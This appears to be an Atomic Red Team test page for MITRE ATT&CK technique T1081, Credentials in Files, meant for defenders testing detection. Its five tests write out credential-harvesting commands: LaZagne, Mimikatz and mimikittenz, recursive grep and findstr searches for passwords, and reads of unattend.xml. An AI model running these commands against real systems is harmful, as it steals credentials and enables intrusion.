112 lines
3.2 KiB
Markdown
112 lines
3.2 KiB
Markdown
# T1081 - Credentials in Files
|
|
## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1081)
|
|
<blockquote>Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
|
|
|
|
It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
|
|
|
|
In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)
|
|
|
|
</blockquote>
|
|
|
|
## Atomic Tests
|
|
|
|
- [Atomic Test #1 - Extract Browser and System credentials with LaZagne](#atomic-test-1---extract-browser-and-system-credentials-with-lazagne)
|
|
|
|
- [Atomic Test #2 - Extract passwords with grep](#atomic-test-2---extract-passwords-with-grep)
|
|
|
|
- [Atomic Test #3 - Runs Mimikatz & Mimikittenz by name](#atomic-test-3---runs-mimikatz--mimikittenz-by-name)
|
|
|
|
- [Atomic Test #4 - Extracting passwords with findstr](#atomic-test-4---extracting-passwords-with-findstr)
|
|
|
|
- [Atomic Test #5 - Access "unattend.xml"](#atomic-test-5---access-unattendxml)
|
|
|
|
|
|
<br/>
|
|
|
|
## Atomic Test #1 - Extract Browser and System credentials with LaZagne
|
|
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
|
|
|
|
**Supported Platforms:** macOS
|
|
|
|
|
|
#### Run it with `sh`!
|
|
```
|
|
python2 laZagne.py all
|
|
```
|
|
|
|
|
|
|
|
<br/>
|
|
<br/>
|
|
|
|
## Atomic Test #2 - Extract passwords with grep
|
|
Extracting credentials from files
|
|
|
|
**Supported Platforms:** macOS, Linux
|
|
|
|
|
|
#### Inputs
|
|
| Name | Description | Type | Default Value |
|
|
|------|-------------|------|---------------|
|
|
| file_path | Path to search | String | /|
|
|
|
|
#### Run it with `sh`!
|
|
```
|
|
grep -ri password #{file_path}
|
|
```
|
|
|
|
|
|
|
|
<br/>
|
|
<br/>
|
|
|
|
## Atomic Test #3 - Runs Mimikatz & Mimikittenz by name
|
|
Mimikatz/kittenz - This will require a Mimikatz executable or invoke-mimikittenz ps module.
|
|
|
|
**Supported Platforms:** Windows
|
|
|
|
|
|
#### Run it with `powershell`! Elevation Required (e.g. root or admin)
|
|
```
|
|
invoke-mimikittenz
|
|
mimikatz.exe
|
|
```
|
|
|
|
|
|
|
|
<br/>
|
|
<br/>
|
|
|
|
## Atomic Test #4 - Extracting passwords with findstr
|
|
Extracting Credentials from Files
|
|
|
|
**Supported Platforms:** Windows
|
|
|
|
|
|
#### Run it with `powershell`!
|
|
```
|
|
findstr /si pass *.xml | *.doc | *.txt | *.xls
|
|
ls -R | select-string -Pattern password
|
|
```
|
|
|
|
|
|
|
|
<br/>
|
|
<br/>
|
|
|
|
## Atomic Test #5 - Access "unattend.xml"
|
|
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
|
|
|
|
**Supported Platforms:** Windows
|
|
|
|
|
|
#### Run it with `command_prompt`! Elevation Required (e.g. root or admin)
|
|
```
|
|
cmd /c type C:\Windows\Panther\unattend.xml > nul 2>&1
|
|
cmd /c type C:\Windows\Panther\Unattend\unattend.xml > nul 2>&1
|
|
```
|
|
|
|
|
|
|
|
<br/>
|